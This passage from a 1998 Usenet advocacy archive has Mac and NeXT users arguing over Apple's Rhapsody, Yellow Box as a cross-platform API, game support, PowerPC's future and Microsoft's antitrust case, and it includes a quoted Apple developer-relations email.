sell it, talk about it, fix it, tell anyone to use it. Even if YB were 100%
supported "naturally" by Java, that still wouldn't be enough.
> Hmm. But they _will_ notice, as soon as all those "unix" applications
> suddenly run on Windows!
But that's the thing, the apps on Solaris are (for the vast majority of
cases) not something you'd use YB for anyway. How does one use YB to port
Apache for instance?
> > I think Apple would do considerably more for games on the Mac with a
crappy
> > port of DirectX than they would with the best 3D engine in the world.
>
> Hmm. Possibly, though Wintel game developers also seem to be split between
> OpenGL and Direct3D.
Not Direct3D, DirectX. The whole package. Then outdo them and include all
those other bits of Direct that were dropped and no one talks about any more
(there's more left out than got in, DirectEngine, DirectCD etc.).
> and sway more toward OpenGL (which even Microsoft is supporting more, in
> Farenheit). I still think OpenGL is a better choice, even for games.
Ok, let me rephrase - if Apple wants games on the Mac, support OpenGL as a
3D engine, include support for DirectDraw and DirectInput (the others€are
minor), and then wrap them in a YB framework that actually works. Now THAT
would be of interest to games developers!
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: 22 May 1998 09:36:46 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6k3gve$be9$5@ns3.vrx.net>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <6jplnc$kiv$3@brownfox.svs.com>
<maury-1805981757210001@ts32-15.tor.istar.ca> <3563c4fc.0@news.camtech.net.au>
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In <see-below-2105981656410001@209.24.241.47> Matthew Vaughan claimed:
> I've always found Internet Explorer way superior to Netscape in this exact
> way (since 3.01). How does OmniWeb compare to IE?
In most ways equal. Less "goodies" in terms of features (Java and things
like that, but they're coming), but traded off by a far easier to use system
and excellent bookmark support. In terms of speed it's at least equal, on my
PP200 it's much faster going to cache than IE is on my P-II 233.
Maury
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 22 May 1998 14:28:56 GMT
Organization: P & L Systems
Message-ID: <6k4238$sr4$4@ironhorse.plsys.co.uk>
References: <ericb-1105981718430001@132.236.171.104> <ericb-1705981603400001@132.236.171.104>
<joe.ragosta-1805980747570001@wil100.dol.net> <ericb-1805981357420001@132.236.171.104>
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Cc: mark@milestonerdl.com
In <35642793.C2A7D977@milestonerdl.com> m rassbach wrote:
> The people commenting in this thread that don't support your POV are
convinced
> that the technology previously known as OpenSTEP the API, now as YellowBox
will
> be Apple's cross-platform API.
>
And why might that be?
Maybe because we have good evidence from Apple that this is the case...
> And, at this time, they are right...YB *IS* Apple's cross-platform option.
> Most of these people are 'from' the StepWise site, and StepWise has been a
big
> NeXT/Open/YB booster for quite some time. They want this truth to happen.
>
Many people who contribute to Stepwise want Rhapsody for Intel to continue
past release 1.0 as well. Yet Stepwise is not reporting that this will be
the case, in fact the site is reporting as accurately as it can why it is
unlikely that there will be future releases. Stepwise is not in the business
of rumour-mongering. It has established credibility by reporting
well-researched facts.
You, on the other hand, are presenting opinion as fact, and engaging in ad
hominem argumentation with little basis in fact or rationality.
Elsewhere you have been posting ad nauseum your contention that YB will not
run on NT5, and yet when challenged you are unwilling to back up your
position financially. As I have posted on several other occasions: put up or
shut up.
> I've hashed out your point - make an announcement/the future of YB as a
> cross-platform API is questionable . And, no matter HOW much you post, you
are
> not going to change their view. Perhaps you can find an old post in which
the
> long-term option of Rhaphody on Intel was brought up, and how they said it
WAS
> going to be long-term...but I don't remember anyone asking that/getting an
> answer.
>
I just answered it above.
> Your best bet is to give up trying to convince them that YB's future is in
> doubt.
>
And how would he manage that? Maybe you can find a press release from Apple
stating that the cross-platform strategy will be based on something else...?
I think not.
> They feel a vested interest in YB as cross-platform, and are happy with
> the answer they have gotten from Apple.
>
And why should we not be?
> And, *IF* they are wrong at some time in the future.....they will move to
> some other cross-platform solution. (or, put effort behind GnuSTEP)
>
Probably true. What else would one do? Self-immolate? Or worse,
Lawson-emulate?
> If you feel that you are still right, and they are wrong, watch the
comp.mac and
> comp.next groups for new people who show up asking about YellowBox and
Apple's
> direction and post then. But you won't be able to sway them.
>
Until such time as we hear different from Apple, there is no reason for us to
be swayed:
Which of these lines is the longest:
--- -- ----- -----------------------------
Mr Rassbach would have you believe it's the second one...
> At some future date, gloating is optional over Apple's cross-platform
efforts.
>
Indeed: if you ever decide you have the guts to take up my challenge, I shall
be happy to collect my winnings from you.
mmalc.
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
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Message-ID: <bgg91.1642$Kx3.2216092@news.rdc1.sdca.home.com>
Date: Fri, 22 May 1998 14:49:43 GMT
NNTP-Posting-Date: Fri, 22 May 1998 07:49:43 PDT
Organization: @Home Network
In <35651735.EACE59C7@nstar.net> "Michael J. Peck" wrote:
> Rex Riley wrote:
[ snip good commentary on SJ ]
> *That*, in my opinion, is why Apple never found a replacement CEO: that
> person doesn't exist. SJ is in an impossible position because he has to
> be 30 people at once.
>
>
WWDC taught me that there must be a lot less resources to work with at Apple.
Narrow focus, fuzzy options and reduced scope of achievement. The money,
manpower and infrastructure isn't there to do a revolutionary comeback
program.
> > ..you know squeaky wheel gets the grease first? Apple's concentrating
there
> > first it looks.
>
> That's just part of it, and it seems significant because it's a big
> change from things past. I think we're going to see Jobs leaning on
> Tevanian and Rubenstein and Co. much more heavily in the days to come;
> the only way out of the current mess is for geniuses like those people
> to work creatio ex nihilo and put Jobs back on his feet, the way those
> kinds of people have done for him in every venture he's created to date.
> The time has come to see what kind of people Jobs picks, and I think
> they're going to do right by him.
>
>
I'm already impressed by these people... I think anyone of us would pale in
comparision to their ability to produce results. Its one thing to imagine the
possibilities for Apples future, its quite another to engineer it. Apple may
be the first "engineered" reversal of fortune.
My take on the comeback story is not engineering centric. Its SJ centric.
Apple has put all its eggs on Steve Jobs, the Mac faithful and the lost
faithful. Apple will be quite pleased to sell a Mac to each and every one of
its customers "past & present". SJ will be pleased when the number of iMac
and G3 units exceeds the most successful Mac version unit count.
Then I think you'll see their focused mindlock release and let others take-on
the challenges of diverifying Apple into new markets, products and new
directions. This is their job as they see it and no one but they can do. My
timeline is guessing this point ~'00 - '01.
> I just can't tell how close it's going to be.
>
>
The last one a near miss, Apple's looking for revenue to fuel a boost into
safer, higher economic orbit. :-)
... I don't know how much they need.
-r
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Fri, 22 May 1998 14:50:38 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <356590BE.50EE2110@nstar.net>
References: <joe.ragosta-2105980831500001@wil111.dol.net> <B189AF72-1DB71@206.165.43.125> <joe.ragosta-2105981340080001@wil125.dol.net> <see-below-2105981612370001@209.24.241.47> <joe.ragosta-2105982051550001@elk126.dol.net> <see-below-2105981906100001@209.24.241.47> <joe.ragosta-2205980832320001@wil116.dol.net>
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NNTP-Posting-Date: 22 May 1998 14:55:25 GMT
Joe Ragosta wrote:
> That's exactly what I'm saying.
>
> Motorola is a large company. They have lots of divisions and each division
> does what's best for them--not for the other divisions.
>
> The chip division couldn't care less whether the hardware division sells
> hardware. As long as the total number of PPC chips sold is constant, they
> don't care if it's all Apple or half Apple and half Motorola.
That's not true in the least, and you know it as well as I do. Even if
your theory about the separation of divisions at Motorola were true
(what you describe sounds like the sound-bite version of reality), in
the hardware division the processor division had (once upon a time) a
steady internal customer. That's one hell of a big deal to a division, I
assure you. It's also one hell of a big factor when the big man makes
big strategic decisions, like "PPC is focusing on embedded
applications". That almost certainly would not have happened if Motorola
itself had been allowed the use of PPC in its own desktop products.
> If it worked any differently, wouldn't you expect Motorola to have
> standardized on StarMax computers rather than some no-name PC clone?
That standardization process began long before the StarMax lines was
built, and it took place in a few divisions, not all of them. You have
no way of showing that the increased adoption of PPC within Motorola
wouldn't have been a direct, collateral benefit of the cloning program.
All you can do is point fingers at irrelevant management decisions.
> > What reason would Mot and IBM have for announcing a chip speed way before
> > Apple is ready to use it, if Apple is their only customer for those chips?
> > In fact, I wouldn't be surprised if they delayed those announcements _at
> > Apple's request_.
>
> Because Apple isn't the only user. IBM uses PPC chips, as well.
>
> But I think you'd better provide some evidence to support your theory.
I think you'd better get off your high horse. He said, "I wouldn't be
surprised...". If you can't tell the difference between speculation and
theory, find another place to vent yourself.
MJP
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 22 May 1998 14:48:16 GMT
Organization: P & L Systems
Message-ID: <6k437g$sr4$6@ironhorse.plsys.co.uk>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <6js3lh$h02$2@ns3.vrx.net>
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In <3561F158.580D297E@milestonerdl.com> m rassbach wrote:
> And for some reason the writers who appear at StepWise and Nathan don't
feel
> a press release is reasonable to ask for.
>
What tosh. In some circumstances press releases are well worth asking for,
however this doesn't necessarily mean that they'd be forthcoming. I'd love
to put out press releases about some of the work we're doing, but our clients
won't allow us.
On the other hand, given your Chicken Little stance over Apple's future
support for YB/NT5 I've asked you to provide a press release showing where
Apple has stated that they will noy support YB on NT5, and you have failed to
provide one.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 22 May 1998 14:39:18 GMT
Organization: P & L Systems
Message-ID: <6k42mm$sr4$5@ironhorse.plsys.co.uk>
References: <ericb-1105981718430001@132.236.171.104> <ericb-1805981403350001@132.236.171.104>
<6jpube$rqq$1@crib.bevc.blacksburg.va.us> <ericb-2005981951380001@132.236.171.104>
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In <ericb-2105981135480001@132.236.171.104> Eric Bennett wrote:
> As I have said, I have trouble believing Stepwise when so many peope here
> fault MacWeek for doing the same thing: not offering a direct quotation
> from an Apple official.
>
For some reports we're not able to make direct quotations.
We know who our sources are, and they don't get much more reliable.
> Once again, where is there a *direct* quotation from and Apple official
> which clearly indicates long-term development of YB/Intel? I have asked
> this question several times and people keep dancing around it.
>
> I would love to have my doubts proven wrong, but I haven't seen the
> evidence yet.
>
Oh for heavens sake, ther have been plenty of posts similar to that I append
below.
There is such a thing as healthy skepticism; you (and Mr Rassbach) seem to be
suffering from psychotic cynicism.
mmalc.
Date: Tue, 19 May 1998 14:11:22 -0700 (PDT)
From: Jordan Dea-Mattson <jordan@apple.com>
To: Multiple recipients of list <rhapsody-dev@omnigroup.com>
Subject: Re: Migration off Rhapsody
Dear Stefan -
Apple will be delivering Rhapsody OS for PC Compatibles this coming fall.
As the Rhapsody OS base becomes the base for Mac OS X, we will not be
producing a version of Mac OS X for PC Compatibles.
That said, the Yellow Box will be delivered for both Mac OS X and Windows
going forward. Yellow Box is Apple's cross-platform API and will be
developed, evolved, and made accessible to developers.
Yours,
Jordan
Jordan J. Dea-Mattson
World-Wide Developer Relations
Apple Computer, Inc. 408-974-4601 (Phone)
1 Infinite Loop, MS: 303-2EV jordan@apple.com
Cupertino, CA 95014
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 22 May 1998 09:59:12 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6k3i9g$be9$7@ns3.vrx.net>
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<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
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<joe.ragosta-1905982102440001@elk125.dol.net> <35648F7B.4F0@CONVEX.COM>
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In <see-below-2205980229560001@209.24.240.67> Matthew Vaughan claimed:
> Yes, this is exactly it! If there could be a true cross-platform API to
> write applications for, say a Java/Yellow Box/QuickTime/OpenGL/whatever
> standard, then you'd have the same apps everywhere, and could choose
> whatever hardware/OS combination best suited your needs.
And this would sell them how many more copies of the OS? 10 million total?
Doesn't seem to be worth it to me. If they can get 1/3rd of them by a
straight Intel Rhapsody, or a YB over Linux, the rest isn't worth fighting
for. If it does cost $100M to do a port (I'd say more like $50M, but that's
besides the point)you have to ask if they can either make that up in direct
sales, or make it up in increased sales on other platforms.
In both cases I'd say the answer is obviously NO for things like
HP-PA/Unix, DEC Unix and AIX. On the other hand it might be yes for things
like Rhapsody Intel.
Let's see the numbers people. Rhapsody sells for $300, a dev kit/runtime
alone likely can't cost any more than that (ie, YB over Linux). Given the
$100M that means you need to sell something on the order of 1/2 a million
copies. Clearly this is possible in the Intel space, they'd only need about
1/10th of Linux alone to buy it (and now that I see that number, that seems
trivial to me!) to break even. On the other hand I believe that figure is
greater than the number of users for many of the other platforms people have
mentioned, with the exception of SGI and Sun. Intel is a safe bet, nothing
else is.
Now would supporting these machines sell enough copies on other platforms
to pay for them? Again I find this terribly hard to believe. Would a
Solaris port sell 1/2 million ADDITIONAL Intel copies? I _really_ doubt it.
So me the money!
Maury
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Fri, 22 May 1998 14:59:37 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <356592D9.EFD91597@nstar.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <joe.ragosta-1905982102440001@elk125.dol.net> <35648F7B.4F0@CONVEX.COM> <joe.ragosta-2105981727350001@wil97.dol.net> <3564A134.16A3@CONVEX.COM> <199805220333121671711@sdn-ts-001txhousp13.dialsprint.net>
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NNTP-Posting-Date: 22 May 1998 15:04:21 GMT
John Bauer wrote:
>
> Michael Peck wrote:
>
> > Joe Ragosta wrote:
> >
> > > What exactly does Rhapsody fail to do?
> >
> > Run on my Linux box. Run on my FreeBSD box. Run on my Solaris box. Run
> > on my HPUX box. Run on my BeOS box. Run on my [enter platform here].
>
> Are you advocating Rhapsody everywhere or Yellow Box everywhere?
The latter. I'm sorry, it gets confusing sometimes because I've been
saying "Rhapsody" when I meant "Yellow Box"; I do that because I really
mean more than just Yellow Box.
> I
> thought it was the latter (despite the title of the thread) -- I
> remember "APIs everywhere."
Yes, that's right.
> It seems Rhapsody/Mac OS X goes a long way
> toward "doing it all" -- Mac, OpenStep, Unix, Java, even x86 OSes in
> emulation -- on PPC.
Exactly. Now, one argument says "just put PPC everywhere and the problem
is solved". That's perfectly valid except for one thing: CHRP is dead.
So sorry, that option is right out, nice as it would be.
> Yellow Box could bring QuickTime and Java (and
> maybe even a rewritten x86 emulator) everywhere, undermine Microsoft and
> allow everyone to code happily ever after.
That's exactly the point.
> Which of course is why it
> will never happen.
Ach, aye! What a waste.
MJP
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Features for Rhapsody after Mac OS X
Date: 22 May 1998 10:02:06 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6k3ieu$be9$8@ns3.vrx.net>
References: <y9f91.2843$0A3.13617681@news.itd.umich.edu>
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Cc: not@my.address.net
In <y9f91.2843$0A3.13617681@news.itd.umich.edu> not@my.address.net claimed:
> Buried somewhere in the flow of information out of WWDC was the comment
that,
> for an unspecified period of time, Apple would continue to offer Rhapsody
as a
> separate product even after Mac OS X ships, and that it would be aimed at
the
> "server, development and publication markets".
I was under the impression that this would be a short time.
> For example, might post Mac OS X releases of Rhapsody maintain Display
> Postscript (for the "publication markets" -- you can always add a "Save to
PDF"
> option in the Save Panel)?
Sigh. DPS is NOT an issue.
> Or how about the long anticipated "Fix'N Go" technology for incrementally
> compiling an app one method at a time and hot swapping new for old while
> debugging. Is that now long forgotten?
Who cares? This would run under OS-X as well.
> Then there's NetInfo ... how does it figure in the plans for Mac OS X?
Will it
> remain in Rhapsody if Mac OS X moves in a different direction?
It will be in both.
> And how about the new kernel for Mac OS X. Might Rhapsody gravitate to
Mach 3
> kernel? Might we see SMP in Rhapsody even before it arrives for Mac OS X?
I doubt it. The SMP plans seem to be geared entirely to Mach 3.0 -
actually OSF Mk7.3. I consider this to be very wise.
Maury
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Fri, 22 May 1998 15:13:06 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35659602.B924CF86@nstar.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM>
<3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net>
<joe.ragosta-1905982102440001@elk125.dol.net> <35648F7B.4F0@CONVEX.COM>
<joe.ragosta-2105981727350001@wil97.dol.net> <3564A134.16A3@CONVEX.COM>
<PU791.1325$Kx3.2024908@news.rdc1.sdca.home.com> <356511FD.BD193ABF@nstar.net>
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NNTP-Posting-Date: 22 May 1998 15:17:53 GMT
Maury Markowitz wrote:
> And this would sell them how many more copies of the OS? 10 million total?
> Doesn't seem to be worth it to me. If they can get 1/3rd of them by a
> straight Intel Rhapsody, or a YB over Linux, the rest isn't worth fighting
> for. If it does cost $100M to do a port (I'd say more like $50M, but that's
> besides the point)you have to ask if they can either make that up in direct
> sales, or make it up in increased sales on other platforms.
No no no no no! You're missing the point again!
Remember the part about "everything Apple sells helps sell everything
Apple sells"? Once Apple has a *platform* (by this I mean a cross-OS
platform), it has an asset of *much* greater value than some finite
number of sales. It has what Microsoft has with its products: a giant
market crowbar.
That crowbar can suddenly *make* *things* *happen*. Think of it: Apple
gets no respect, so Newton dies. With our new crowbar, we can *create* a
market for Newton devices. How about: PPC is treated as a dying
platform. With our new crowbar, we can build a "best Rhapsody" hardware
platform and *create* a market for it. We can sell it for a premium, or
license it to everybody and their brother, or give it to an open group,
or...
The whole point is to create a product that gives Apple its first
market/industry crowbar since the Apple II. Without such a tool, all of
Apple's innovation is worthless, since it will never sell a thing.
> In both cases I'd say the answer is obviously NO for things like
> HP-PA/Unix, DEC Unix and AIX. On the other hand it might be yes for things
> like Rhapsody Intel.
Blech! I don't think so. HP-UX and AIX and Solaris are no-brainers: SysV
Unix on a big-endian architecture. Basically, you port one and the rest
are maybe a month away, apiece, with some dedication.
> Let's see the numbers people. Rhapsody sells for $300, a dev kit/runtime
> alone likely can't cost any more than that (ie, YB over Linux). Given the
> $100M that means you need to sell something on the order of 1/2 a million
> copies. Clearly this is possible in the Intel space, they'd only need about
> 1/10th of Linux alone to buy it (and now that I see that number, that seems
> trivial to me!) to break even. On the other hand I believe that figure is
> greater than the number of users for many of the other platforms people have
> mentioned, with the exception of SGI and Sun. Intel is a safe bet, nothing
> else is.
You're forgetting that the key asset in all of this is bringing in the
minority platforms, in spite of their small numbers. You're also
forgetting that those minority platforms stay alive for one very
important reason: margins. Apple can tap those deep pockets not once,
but time and time again with such a platform.
And I mean *deep*. Do you even realize what it costs to buy a single
UltraSPARC III processor? Certain people I know of have the purchasing
power to buy many such things without interrupting lunch.
> Now would supporting these machines sell enough copies on other platforms
> to pay for them? Again I find this terribly hard to believe.
Stop. You're assuming that the only revenue stream is from sales of
Yellow Box. This is patently untrue. The full range of avenues of
possible income hasn't been even remotely explored.
> Would a
> Solaris port sell 1/2 million ADDITIONAL Intel copies? I _really_ doubt it.
> So me the money!
Believe me, Maury, I'm with you. I just think you're being too
conservative about the possibilities.
MJP
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: APPLE is forcing best os in the world into obscurity!!
Date: 22 May 1998 08:30:01 -0700
Organization: Primenet (602)416-7000
Message-ID: <6k45lp$lcc@nntp02.primenet.com>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <356334fd.0@206.25.228.5> <35634FEE.14EC681@milestonerdl.com> <3563c5b1.0@206.25.228.5> <6k1gn1$po4@nntp02.primenet.com> <356505ab.0@206.25.228.5>
John Kheit <jkheit@xtdl.com> wrote:
: You know, I think it's reasonable *NOT* to require developers to
: try and be SJ mood readers and guess what his slight farts might
: intonate for the future of their development plans.
That is certainly true. But I think the only way for developers to avoid
the risk it to develop for currently shipping platforms with currently
available tools. With MacOS 8.1 or Win 95 you know the size of the market
and you know what your tools cost.
: Going by
: statements like "we plan on a dual os strategy akin to win95/NT"
: seems a bit more reasonable, and in this case a typical apple garden
: path.
I think "Going by statements" might be fine for a secondary product or a
learning exercise if you have an established income stream. There is
nothing wrong with risking a project on a new technology now and then, as
long as you manage your downside.
Apple-watching is a little like Kremlin-watching was in the '70s.
Remember when analyists would see who showed up on the Kremlin wall on May
Day, and from where they stood try to figure the direction of the Soviet
Union? Well, we can amuse ourselves by seeing who appears onstage at the
WWDC, and try to figure the future direction of Apple Computer. But any
capital put at risk is just that.
I thought I was skeptical about the speed with which Java would come
on-line, but it has been even slower than I expected. I spent some time
learning Java, but didn't put any capital at risk. That was probably a
good decision. And I've been put on a Java project at the day job, so
there has been some pay-off.
The bottom line, after Java programming and Apple watching, is that if you
want less risk you go down to CompUSA and buy what is on the shelves and
program for that. Or do an at-risk project and have fun with it.
John
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 22 May 1998 15:17:30 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35c68fc9.353563848@news.supernews.com>
References: <6j8cet$fgg$1@nnrp1.dejanews.com> <rmcassid-1205980106390001@dialin33418.slip.uci.edu> <6jb7i9$d0l$1@nnrp1.dejanews.com> <rmcassid-1305980120280001@dialin33423.slip.uci.edu> <6jgf0l$fvt$1@nnrp1.dejanews.com> <rmcassid-1505981205450001@dante.eng.uci.edu> <6jl4vq$pqa$1@nnrp1.dejanews.com> <rmcassid-1805981355460001@dante.eng.uci.edu> <6jr0kn$ij5$1@antares.en.com> <356512fc.258067534@news.supernews.com> <6jvgbq$jo1$1@nnrp1.dejanews.com>
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dpetticord@hotmail.com, on Wed, 20 May 1998 21:01:46 GMT,
>Time for a review...
>
>Just how different are our views?
Still more different than you think, but that's just because as you get
closer to center, I edge further towards the edge... ;-)
>In article <356512fc.258067534@news.supernews.com>,
> maxman@poboxes.com wrote:
[...]
>I considered my arguments and I am beginning to see our differences
>diminishing since the DOJ started the anti-trust case.
>
>I understand Microsoft offered to put a link to Netscape's home
>page on the first screen desktop. The DOJ wants Navigator installed.
>
>This seems like a small difference.
>
>The DOJ may have enough of a case to force Microsoft to yield on this
>point and the two of them may yet come to an agreement. If they do not,
>the court procedings will be entertaining.
That's not enough for me. ;-)
If Microsoft is allowed to continue their "business as usual" except for
small changes to give the appearance of accommodating competition, then
we are worse off than when we started. Completely installing and
distributing Netscape is just the very start of what they need to do.
[...]
>
>I think Microsoft is fighting a losing battle. Microsoft's answer has
>become "bigger is better". The bubble will burst eventually. I just
>think it is hypocritical to, on one hand, say Microsoft has no legitimate
>reason for its action, and then point out how WindowsXX will become
>"unneccesary" with the other.
This simply underscores how contrived Microsoft's monopoly is.
Microsoft is free to compete in the OS market, but only if it treats all
apps developers fairly. Microsoft is free to compete in various apps
markets, but only if it treats all OS developers fairly. Microsoft has
only been able to maintain a monopoly in the OS market by illegal or at
least unethical means, because it is impossible for a software developer
to monopolize either the OS or the apps markets in a competitive
marketplace. The reason the marketplace is not competitive? The
per-processor licensing, Windows/DOS bundling, and a huge variety of
other minor transgressions have allowed MS to prevent competition, not
with any justification of a technical monopoly, but because they have a
dominant position in both operating systems and applications. This is
an artificial situation that can do nothing but restrict customer choice
and innovation.
>
>> Considering that idea, that the future goals of the software
>> market can be accurately used as a justification for legal
>> action {which I admit seems somewhat irrational}, I believe
>> I've discovered one of the root causes of anti-MS sentiment
>> among computer professionals. It occurred to me that an
>> experienced and skilled programmer, or even one familiar with
>> computer operations, can discern subtle methods and mechanisms
>> in software that are clearly meant to stifle competition and
>> limit choice, as opposed to fostering innovation and
>> competition. Again, it may seem a fanatical idea, but I have
>> justification.
>
>Maybe I am too jaded. I see these practices everywhere. I have worked
>in the military where software companies wrote millions of lines of
>code and sold it to our government except for one vital, proprietary
>piece.
A single-customer system is not a marketplace, and software is
infinitely mutable. I don't believe that the OS/apps markets I discuss
are necessarily "natural". They do not necessarily derive from the
basic nature of software. Even if they are entirely market constructs,
however, it is a requirement, if you are going to provide an OS for the
general purpose computer market, that you give equal access to that OS
in every way to any interested app developer. Otherwise, it is a
special purpose product, and it is somewhat fraudulent to market it
otherwise.
>Again, we are talking degrees. Microsoft may be one of the biggest offenders
>but all of the major players here have done this. Netscape has several times
>implemented a propriatory function or feature to Navigator in an attempt
>to "trap" users in using only their browser.
I disagree entirely; nobody else does this. The perception of it may be
a matter of degrees, but the reality of it is not. This is one of the
problems we have with these issues; I wrote about how I think some
people can easily perceive "proof" of Microsoft's intent in their
products. Just because this can not be absolutely identified does not
mean it does not exist. There is a difference between implementing
proprietary features as a "value add", and implementing them as a "trap"
to lock users in to your product. I can't think of any specific
examples one way or the other, but trying to get people to continue
using your product is one thing; forcing them to continue using your
product is another.
[...]
>
>Microsoft's pointy haired bosses are more alert.
>
>Max. Have you heard the one about Chinese managers being shot for
>producing poor quality products? True or not, the thought strikes a
>chord in American engineers. Gee, wouldn't it be nice if managers
>were punished instead of rewarded for putting actual quality ahead
>of perception.
>
>There are many times I wish this too, but as long as consumers
>spend money on poorly made but well marketed products, it will
>not happen. Microsoft is only the messenger. Shooting them may
>make you feel better, but the problem will remain.
I admit it is hard for me to not correlate the rise of Microsoft with
many other disturbing trends. I do not fault them for any "general
degeneration" (though I do, privately, blame them for much of it, them
and MTV) of consumers and our society. However, I do blame them
entirely for their own actions. I will not allow "everybody does it,
too" to be an excuse to allow the worst offender to escape justice.
I am a teacher, yes, but a professional teacher involved in business. I
know the business realities of software development. I understand the
compromises and adaptation that must be made, and realize that to a
certain extent good marketing is as necessary as poor products (someone
has to fill in the low end of the scale). Microsoft is the one making
poorly made but well marketed products, and they are doing it because
there is no competition, due to Microsoft's own conscious actions. Why
the hell should we simply say "they're just doing what they think is
best." I'm not trying to change human nature, David. I'm trying to
stop Microsoft from taking unethical advantage of it to the detriment of
the industry, the consumers, and, really, everybody (because egalitarian
access to technology is important to our society and to our
civilization, as well as to my own paycheck).
I won't be able to convince people that it is stupid to buy well
marketed but poorly made products unless I can so them a viable
alternative, which I can't do as long as the poorly made products are
the only ones allowed in the market.
>
>
>And I will join you in the fight. Let's make Linux better. Let's
>teach users a better way. Let's SHOW them why Microsoft's products
>are inferior. Forcing people to do the "right thing" without explaining
>why accomplishes nothing.
I appreciate your enthusiasm. I am trying to do all those things.
Unfortunately, as long as Microsoft is allowed to maintain an unethical,
anti-competitive, and illegal monopoly, I don't have too much faith in
the "right way" overcoming the billions they have to spend to convince
people we are wrong, and they should just keep buying Microsoft, because
the next version will be as easy as the new Linux, and far superior to
any other products...
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
Date: Fri, 22 May 1998 11:42:22 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <joe.ragosta-2205981142220001@wil131.dol.net>
References: <joe.ragosta-2105981725040001@wil97.dol.net> <B18A5541-13B972@207.217.155.37>
In article <B18A5541-13B972@207.217.155.37>, "Brad Hutchings"
<brad@hutchings-software.com> wrote:
> Joe Ragosta wrote:
>
> >10 years from now, I would hope that Carbon is
> >history and everyone's doing YB development.
>
> 10 years ago, most people wished COBOL were dead. Yet COBOL continues to
> the basis for lots of mission critical apps in lots of organizations.
>
> The issue here is legacy applications, custom and mass market, that run on
> Macs.
> Blue Box on its own was a situation that Mac developers of all shapes and
> sizes weren't ecstatic about in the Rhapsody picture. Carbon addresses
> those concerns. But it won't be worth its atomic weight if it isn't
> supported _indefinitely_, or for at least another 7 years, whichever comes
> first.
And how does this contradict my statement?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 22 May 1998 15:30:38 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35ca979f.355569934@news.supernews.com>
